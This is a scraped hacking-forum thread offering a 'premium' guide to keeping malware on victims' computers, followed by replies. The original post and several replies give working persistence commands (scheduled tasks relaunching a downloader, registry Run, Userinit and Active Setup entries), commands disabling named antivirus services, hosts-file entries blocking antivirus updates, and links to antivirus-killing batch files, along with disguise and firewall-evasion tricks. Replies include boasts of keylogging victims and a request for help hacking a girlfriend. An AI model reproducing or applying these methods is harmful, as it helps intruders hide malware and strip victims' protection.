

Forum:[Hack Forums](#)

Thread: [\[GUIDE\]\[Premium\] ? Infecting Methods & AV Targeting ?](#)

carecare - January 19, 2011, 1:35 am

Hey guys, I always try to come up with different approaches in ensuring FUD for a very long time, it's especially important in high-valued clients - let's face it if you crypt a server you'll probably get pass the AV/FW easily but if your unlucky their next AV update contains signatures matching your malware and your FUD file is useless, this problem is common in private/public crypters sharing a stub - If one get's detected all will.

Now theres always an option in trying to re-fud the victims to ensure their AV wont keep up, it's pretty efficient although it's not guaranteed to work in most cases since you still don't know when their AV is having an update etc.

So what's my suggestion for this problem? Simple; Attack the AVs / Infect better!

Attack AVs?... What?

Let's say you manage to screw up the victims AV's config files/re-route their AVs updates servers traffic to 127.0.0.1 the victim will NEVER find the trojan unless he re-install hes AV or (manually deletes it), He will have a false sense of security, and it's one of the best infecting ways there is, since the victim will believe hes fully protected and hes AV scans will never reveal your malware. I've tried this method using an outdated RAT and it's still working (4-5mon) - Sure, we have AV bypassers but still, all those methods are temporary, after an update the AV bypasser will no longer be bypassed and it's bye-bye malware. What I want with this thread is mainly to enlighten coders/hackers with different approaches in this matter, and educate others on making sure they'll keep their victims.

This will be like a guide/suggestion type of thread, I will be writing about many usefull methods & suggestions to ensure a long-lasting malware undetection.

Part 1: Infecting

Tips

Always link additional entry points to an downloader not your malware, why? They are easily FUD and they will redownload your malware - If your malware gets found it's bye-bye victim.

Don't create obvious registry names like; server.exe , name as if it where an legit program, for ex: ieupdater.exe / java.exe / taskhost.exe / msnmsgr.exe

In order to avoid suspicion, put an appropriate icon on your files, lets say you create a registry entry named "ieupdater.exe" try to change the icon to match the appropriate process, in this case; the default Internet Explorers icon.

In this case it's somewhat OK to overdo it since it only keeps the surviving chances higher on the victim, however be cautious on adding too much new entries since that will be suspicious aswell.

EXTRA Bypass ALL FW's notifies with some trickery!

Well, the truth is that most FWs will detect a downloader/rats network activity and pop-up an notify revealing the attackers IP, most users ignore this however the cautious ones wont, so what I like to do is basically using an redirect service like "no-ip.com for example" and redirect all traffic to google.com or appopiate program server bind while spreading, since most users will press "Always allow (dont ask again)" you can easily re-route the no-ip adress to your RAT anytime you want. Simple but effective!

~ Infecting methods & Sneaky tricks ~

Take advantage of the Windows Task Scheduler

[IMG]<http://img191.imageshack.us/img191/1393/cmdt.png>[/IMG]

This is one thing I'm always amazed by why noone seems to take advantage of, Windows XP/Vista/7 has an built-in task program which will run tasks at given time - basically, we could use this and tell the computer to run a certain file every day at 11pm.

Example:

Code AT 11:00

/every:1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31
"cmd.exe /c start C:\windows\downloader.exe"

Inserting that in cmd.exe will launch a hidden task which will start "downloader.exe" 11pm everyday. Make sure the service is started by typing; net start "task scheduler" it's on by default so it shouldn't be neccesary although. So basically even if the victims AV detect your malware it will be redownloaded next day :)

Link your malware from Startup Folder

[IMG]<http://img651.imageshack.us/img651/3140/48213709.png>[/IMG]

Windows XP Path (All users):

C:\Documents and Settings\All Users\Start Menu\Programs\Startup

Windows XP Path (Current user):

C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup

Windows 7 Path (All users):

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

Windows 7 Path (Current user):

C:\Users\USERNAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

This is also a common technique which is sadly not used much since most people just put in infected .exe files making it too obvious, with some trickery it's a great place to link the malware!

The startup folder acts as an easy-to access folder which will start all associated programs in it during startup, we could easily use this for our malware, but to increase the legit factor we could insert an shortcut and name it "Internet Explorer" instead of just putting the malware.exe file in it, also in this case make sure the malware has an Internet Explorer icon :)

NOTE: Every user has his own startup path, so don't be shy to add in theirs aswell :)

Adding startup entries to the registry

[IMG]<http://img222.imageshack.us/img222/755/regce.png>[IMG]

This method is the most common one, but it can be good to have as an reference, so i included some good registry point entries which will trigger on startup, launching your malware.

HKLM/CurrentVersion/Run

Spoiler ([Click to View](#))

Code Triggers: Startup (Local Machine)

Located: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Method: REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v malware /t REG_SZ /d "C:\malware.exe" /f

HKLM/CurrentVersion/RunOnce

Spoiler ([Click to View](#))

Code Triggers: Startup (Local User)

Located: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Method: REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v malware /t REG_SZ /d "C:\malware.exe" /f

HKCU/CurrentVersion/Run

Spoiler ([Click to View](#))

Code Triggers: Startup (Local User)

Located: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Method: REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v malware /t REG_SZ /d "C:\malware.exe" /f

HKCU/CurrentVersion/RunOnce

Spoiler ([Click to View](#))

Code Triggers: Startup (Local User, value needs to be re-added each startup)

Located: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

Method: REG ADD HKCU\Microsoft\Windows\CurrentVersion\RunOnce /v malware /t REG_SZ /d "C:\malware.exe" /f

User init (same as in the preview image)

Spoiler ([Click to View](#))

Code Triggers: Windows logon

Located: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

Method: REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe, C:\malware.exe"

Note: Since windows reg add don't have any append method the key either needs to be overwritten or; exported -> edited -> added

Since it by default only contains Userinit.exe it should be OK, although be careful to keep the Userinit.exe in the key since it's needed in order for the OS to login.

Adding ActiveX startup

This is another sneaky registry entry point that we can use, the best thing with this one is that it's not visible in ie. msconfig.

(no more space check page 3)

##

Part 2: Attack the AV's

Tips

Try not to run these Anti-AV killers at runtime since most AV's will detect this behaviour and prevent it, so try to add them in Winlogon so they'll execute before the AV :)

Never include Anti AV's in your actual malware, bind it.

False warnings, Another trick you can use is to tell the victim that he's AV is broken and needs to be re-installed (by a Pop up or whatever) Then he will hopefully reinstall the files himself and you can take appropriate action.

Do it yourself, This especially affects the RAT users, if you have a RAT you DO HAVE full access to his system, so take advantage of that! Wait until the victim has an idle status - open remote desktop and remove AV files/add your malware to trusted files remotely, just don't go too far like uninstalling it since he obviously will detect that he has no AV :)

~ Kill AV's & make them useless ~

Kill AV Processes

If the AV isn't running it can't update - If it can't update and protect it won't be a threat, simple as that.

Heres a .bat file which will try to disable most of the common AV's by terminating their process.

Download here: <http://pastebin.com/T9Bdx5TJ>

NOTE: Some AV's use process protection, so these methods isn't 100 accurate!

Remove AV files

Another approach is to remove the AV files making the AV unable to operate correctly.

Heres a .bat file which will try to remove most of the common AV's by deleting their files.

Download here: <http://pastebin.com/Ar7W6m9j>

NOTE: Some AV's got file-protection and will surely notice this, make sure to add this as an boot-option so it'll operate before the AV.

Disable AV services

This is one of the best approaches, using windows system configuration tool we can untick services at startup (as if you had done manually from msconfig) You may ask why not disable them directly by using "net stop *service*"? Problem there is that the services used by the AV's is in most cases protected, however we can bypass this by unticking them at the startup!

Example code:

```
Code rem Disables Kaspersky Antivirus service
sc config ksvsvc start= disabled
```

```
rem Disables Comodos Protection Service
sc config cmdagent start= disabled
```

```
rem Disables Norton Antivirus
sc config navapsvc start= disabled
```

```
rem Disables Ad-aware Services
sc config aawservice start= disabled
```

In this example I've disabled 3 AV's and 1 Anti-Spyware, the trick here is to find the services used by the AV's

NOTE: Every action requires a restart in order to take effect, also if possible try to run these at WinLogon :)

Disable AV updates

This is one of my favorites, it's sneaky and it doesn't require any touching of the actual AV/FW files.

As most of you know Windows has a file named "hosts" which is located here:

Windows XP/Vista/7: c:\windows\system32\drivers\etc\hosts

The hosts file is used for mapping hostnames to IP addresses, with this we can re-route all AV traffic to any IP we want, making them unable to update.

Default hosts file:

Code # Copyright (c) 1993-2009 Microsoft Corp.

```
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
```

```
# 38.25.63.10 x.acme.com # x client host
```

```
# localhost name resolution is handled within DNS itself.
```

```
# 127.0.0.1 localhost
```

```
# ::1 localhost
```

```
Modified hosts file:
```

```
Code # Copyright (c) 1993-2009 Microsoft Corp.
```

```
#
```

```
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
```

```
#
```

```
# This file contains the mappings of IP addresses to host names. Each
```

```
# entry should be kept on an individual line. The IP address should
```

```
# be placed in the first column followed by the corresponding host name.
```

```
# The IP address and the host name should be separated by at least one
```

```
# space.
```

```
#
```

```
# Additionally, comments (such as these) may be inserted on individual
```

```
# lines or following the machine name denoted by a '#' symbol.
```

```
#
```

```
# For example:
```

```
#
```

```
# 102.54.94.97 rhino.acme.com # source server
```

```
# 38.25.63.10 x.acme.com # x client host
```

```
# localhost name resolution is handled within DNS itself.
```

```
# 127.0.0.1 localhost
```

```
# ::1 localhost
```

```
127.0.0.1 *avg.com
```

```
127.0.0.1 avg.com
```

```
127.0.0.1 guru.avg.com
```

```
127.0.0.1 update.avg.com
```

In this example I disabled the AVG update servers by re-routing them to localhost, using this method you can add a number of AV update servers and prevent them from updating.

NOTE: This action is detected by many AVs/Security tools so I suggest trying to disable the AV first if your planning on editing it runtime.

```
##
```

Conclusion

Infecting a victim properly can save you from having to re-fud and will lasts untill he decides to reformat hes computer, I hope you learned something new from this guide, please elabroate more methods in the thread :)

I wrote this guide today, If i forgot to add something please tell me, I'll update it frequently! Thanks.

aymi68 - January 19, 2011, 4:05 am

First Comment , Nice tutorial :) , thank's

wisd0m - January 19, 2011, 4:06 am

Very detailed tutorial, great contribution!

soft2050 - January 19, 2011, 4:07 am

nice tutorial
thanks dude
Keep it up

Developer - January 19, 2011, 4:11 am

Another amazing tutorial by you, my friend. You don't stop to impress me with your work.

dwarf - January 19, 2011, 4:58 am

This is amazing.

So if I load the AV-killer in winlogon, the AV can do nothing to stop it?

KEYIRC - January 19, 2011, 5:07 am

Nice tutorial dude.

Keep up the good work :)

Peace

iZan - January 19, 2011, 5:09 am

Fantastic tutorial. Thank you! I used the batch command on my friends computer(He isn't going to have internet anymore so he said I could test it) and it did disable his firewall, but not his A/V.

carecare - January 19, 2011, 5:16 am

Thanks for the comment guys! :)

(Jan 19, 2011 05:58 AM)dwarf Wrote: [\[CITE\]](#) This is amazing.

So if I load the AV-killer in winlogon, the AV can do nothing to stop it?

Nope, Although some AV's have services that monitors the files so another option might be to disable the services aswell, I'll add that in the TUT later :)

(Jan 19, 2011 06:09 AM)iZan Wrote: [\[CITE\]](#) Fantastic tutorial. Thank you! I used the batch command on my friends computer(He isn't going to have internet anymore so he said I could test it) and it did disable his firewall, but not his A/V.

Thanks! What AV is he using? Every AV has it's own process names, the .bat file isn't working on all AV's although most of them, try to find the process names for the AV and add them to the .bat file.

carecare - January 19, 2011, 11:50 am

UPDATE: Added english thumbs, added more ANTI-AV methods by adding service disables.

dwarf - January 19, 2011, 2:16 pm

(Jan 19, 2011 02:35 AM)carecare Wrote: [\[CITE\]](#) This is one thing I'm always amazed by why noone seems to take advantage of, Windows XP/Vista/7 has an built-in task program which will run tasks at given time - basically, we could use this and tell the computer to run a certain file every day at 11pm.

Example:

Code AT 11:00

/every:1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31

"cmd.exe /c start C:\windows\downloader.exe"

I think the reason nobody uses this is because you have to run cmd as administrator (in Vista / 7), otherwise it won't allow to run these commands.

carecare - January 19, 2011, 3:45 pm

(Jan 19, 2011 03:16 PM)dwarf Wrote: [\[CITE\]](#) I think the reason nobody uses this is because you have to run cmd as administrator (in Vista / 7), otherwise it won't allow to run these commands.

Well, administrator privileges is needed for almost everything involving system changes, a RAT for example won't be able to operate correctly & can have problems with installing running on a default user with no admin.

bobblejim - January 19, 2011, 5:20 pm

Thanks a lot this was a great read. Very much appreciated.

dwarf - January 20, 2011, 3:59 am

I just discovered that this doesn't require admin privileges:

HKCU\CurrentVersion\Run

Spoiler [\(Click to View\)](#)

Code Triggers: Startup (Local User)

Located: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Method: REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v malware /t
REG_SZ /d "C:\malware.exe" /f

But this one does:

HKLM\CurrentVersion\Run

Spoiler [\(Click to View\)](#)

Code Triggers: Startup (Local Machine)

Located: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Method: REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v malware /t
REG_SZ /d "C:\malware.exe" /f

seskanda - January 20, 2011, 7:05 pm

It's always better to bypass AV's than disabling them, but overall good tut

carecare - January 21, 2011, 8:03 am

It depends, if you don't want to have the slave for more than 1-2 weeks/next AV update then sure go AV bypass :P

cdeezybz - January 21, 2011, 9:10 am

Great tut man, very detailed, well written, easy to understand. Kudos my friend :)

nilesh1dude - January 21, 2011, 9:48 am

That's one of the best tutorial and technique I have seen..

Thanks..

carecare - January 26, 2011, 11:33 pm

Would anyone be interested in some demos as well?

123 ich bin ein ei - February 11, 2011, 7:00 pm

Do you know how I can edit the registry startup value of some services with blackshades? I want to disable avgguard. I found the service startup value, but I can't edit it. I suppose it is because my slave is not an admin.

Is there any solution?

harris21 - February 11, 2011, 7:03 pm

nice, detailed tutorial...keep it up mate :)

carecare - March 13, 2011, 9:53 pm

Added ActiveX startup entries (might have to make a part 2)

ActiveX Startup

Spoiler ([Click to View](#))

[code]Triggers: Windows startup

Located: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{YOURKEY}

Method: REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{YOURKEY}" /v StubPath /t REG_SZ /d "C:\malware.exe"

slaphappyprince - March 13, 2011, 10:11 pm

God damn son. Fucking nice piece of work you got there. I gave you a +rep

danilegacy - March 14, 2011, 2:15 am

Nice tutorial it would help lot of rat users

Joey Tribbiani - March 14, 2011, 2:17 am

Very nice tutorial. Good piece of information :)

madvillain - March 14, 2011, 4:33 am

Amazing tutorial, good detail, some sweet tricks, good work :D

Rixxon - March 14, 2011, 4:46 am

Very good, detailed tutorial. Thank you for the excellent share.

-=Proudly Boy=- - March 14, 2011, 5:19 am

wow ...very detail nice bro...i wil try now

Obs3rv3r - March 14, 2011, 5:51 am

This is very detailed and informative tutorial. Thank you.

carecare - March 14, 2011, 9:44 pm

Thanks for the comments, be sure to add any suggestions as I'm planning to write a part 2 :)

Loop - March 14, 2011, 10:55 pm

Great tutorial, thanks mate. ;)

fireboot - March 15, 2011, 3:07 am

Thank you, is not a virus that changes the DNS network pc to another?

Doggie! - March 15, 2011, 4:33 am

Nice detailed guide :)

I was thinking to post something like this (my methods) but im too lazy to write it xD

Good for newbies...

carecare - March 15, 2011, 2:25 pm

(Mar 15, 2011 03:07 AM)fireboot Wrote: [\[CITE\]](#) Thank you, is not a virus that changes the DNS

network pc to another?

Hey, DNS Spoofing is more of a spreading method this guide is only targeted for the actual malware. Thanks!

woodo - March 16, 2011, 10:08 am

Kill AV Processes

Almost all antivirus programs in your .BAT file have their processes protected. That method doesn't work.

Remove AV files

You can't delete a file used by a running process and booting your process before the Antivirus program is not possible. They're using Kernel Drivers that starts before anything else.

Disable AV services

You can't remove their autostart values, they are also protected.

Disable AV updates

AV programs are in most cases using HTTPS and not HTTP. Windows Hosts File only supports HTTP.

carecare - March 16, 2011, 7:56 pm

(Mar 16, 2011 10:08 AM)woodo Wrote: [\[CITE\]](#) # Kill AV Processes

Almost all antivirus programs in your .BAT file have their processes protected. That method doesn't work.

Remove AV files

You can't delete a file used by a running process and booting your process before the Antivirus program is not possible. They're using Kernel Drivers that starts before anything else.

Disable AV services

You can't remove their autostart values, they are also protected.

Disable AV updates

AV programs are in most cases using HTTPS and not HTTP. Windows Hosts File only supports HTTP.

It sure is, I tried everything above with success.. However it's only possible to modify these values if the victim is running with administrator priviledges. No AV is fully protected, just gotta know how to disable it. Also I adviced with 1,2,3,4 to not edit this while in runtime, disabling the services & perform a reboot is a better option in that case. I can only agree slightly with the Hosts file, It doesn't work that good since in most cases the antivirus monitors it :)

Also if it's a high valued victim and your afraid of the AV detecting these actions I just suggest in waiting for he/she to get an idle status and then use remote desktop to disable the AV/edit the registry.

nucky88 - March 17, 2011, 1:39 am

This is what I have been looking for! Thanks man!

Black Marketer - March 18, 2011, 6:45 am

Fantastic tutorial. Where can I get a downloader?

netter - March 18, 2011, 7:08 am

Great tutorial, thanks! :)

do_rrr_die - March 18, 2011, 7:37 am

nice info thanks for sharing

amaz1ng - March 18, 2011, 5:39 pm

some one has a hosts file who blocks all (major) av sites ? i`m too lazy to make one myself
thanks

*later edit

i`ve done my own list. this will prevent victims to install&uptade some common av`s

<http://pastebin.com/xbx3946Q>

you can add it to your first post

stupefyyy - March 24, 2011, 8:12 am

Many thanks for the tutorial mate...

carecare - March 25, 2011, 8:56 am

(Mar 18, 2011 05:39 PM)amaz1ng Wrote: [\[CITE\]](#) some one has a hosts file who blocks all (major) av sites ? i`m too lazy to make one myself
thanks

*later edit

i`ve done my own list. this will prevent victims to install&uptade some common av`s

<http://pastebin.com/xbx3946Q>

you can add it to your first post

Thanks, great list! I'll try to put them in somehow (max characters in first post atm) :/

1luv - March 27, 2011, 12:38 pm

??? Great Tutorial; HF needs more of this, keep it up, I really enjoyed reading this! ???

sumit8510 - March 27, 2011, 1:38 pm

Nice tutorial bro.

Keep it up.

inferno10681 - March 27, 2011, 4:27 pm

Congratulations, one of the actually informative tutorials on this site. This tutorial bears something to learn for every level of programmer, and, if you already know the stuff, a good refresher.

carecare - March 31, 2011, 2:38 pm

Thanks, yes I hope it reaches out, I might be writing a part 2 soon. :)

Janbanan - April 1, 2011, 3:43 am

a really good tutorial, thanks

Minimal - April 1, 2011, 3:44 pm

Very good detailed tutorial, I am surprised you didn't include adding your malware to the exclusions list in the AV and the the exceptions in the firewall rules?

carecare - April 1, 2011, 7:55 pm

(Apr 1, 2011 03:44 PM)Minimal Wrote: [\[CITE\]](#) Very good detailed tutorial, I am surprised you didn't include adding your malware to the exclusions list in the AV and the the exceptions in the firewall rules?

Thanks!

That's a good suggestion, I guess I didnt add it since it requires manual adding with remote desktop.

Minimal - April 3, 2011, 2:30 am

Well I don't know the technicalities of it, but the exlusion list data must reside somewhere on the machine, maybe it could be edited via a script, this is only speculation however I am sure AV companys put certain safeguards to prevent this.

But to add to that if they have a webcam you can at least check if they are at their computer before you remote desktop it.

Also to add to your task scheduler method, you could have a schedule that runs a bat script daily to download and execute a file from a website that has a set link, so if your RAT does manage to get removed from detection or whatever, you can change the file where it is hosted with a new RE-FUD RAT with the same file name so the script downloads it.

Although I doubt the Firewall would like this.

davae93 - April 3, 2011, 1:36 pm

this method was used on a worm that was creating havoc on mi school lol

carecare - April 6, 2011, 11:43 am

Which method, the AV bypass one? :o

carecare - April 24, 2011, 5:26 am

EDIT: fixed some links

short

taokrk - April 25, 2011, 1:31 pm

this is so great tutorial,nice mate! regards (:

{04rk S}-4d3 - June 1, 2011, 7:16 pm

Nice Tut man! learned some new things.

Hooded Robin - June 2, 2011, 7:27 am

This is a well written tutorial with a lot of good reference material, thanks for taking the time to put it together!

julesverne - June 7, 2011, 1:07 am

Nice one, thanks.

it's just amazing that AV don't check the lmhost/host file ...

NEWvikka(ifrogotmypass) - June 7, 2011, 1:12 am

Very good TuT and details .

imamfmonster - June 7, 2011, 2:10 am

nice post

i like it a lot :)

baraccuda - June 19, 2011, 5:07 am

great job, thank's for sharing that.

Anonymous_Hacker - June 19, 2011, 5:14 am

Thank you , this tread is very interesting for somebody.

slimshadylover - July 1, 2011, 9:35 am

Beautiful TuTorial it was very well explained and had some GREAT methods! Thanks so much!
Bookmarked(:

Slim

truroxx - July 1, 2011, 10:44 pm

solunds pRO....NEEDED HELP can you add me tol my msn ...ill pm my msn i can pay folr the help!! i jst wanna hack my GF and i got her only once ... i tried hell of methods and still im trying if you are interesting on my problem pls pm me thaks

KingTrixxx - July 1, 2011, 10:57 pm

Oh great

Tutorial thank you again

sinbad469 - July 20, 2011, 1:38 am

Awesome tutorial... Very informative and helpful... Thanks..

carecare - September 4, 2011, 9:04 am

Thanks! I'll perhaps add some more methods later!

meows123 - September 4, 2011, 9:15 am

nice guide, i like it :)

what i keylogged:

lesbian:4

gay:3

normal pple:41

babilonio - July 20, 2012, 4:33 pm

Many thanks for the tips, for me only will use the downloader that get every x time the new FUD file.
I don't like attack the AV, this is not reliable in a corporate environment, is very suspicious for IT administrators that have a AV console.

R391.875 - July 20, 2012, 7:30 pm

thank u carecare for this post!!

legit!!!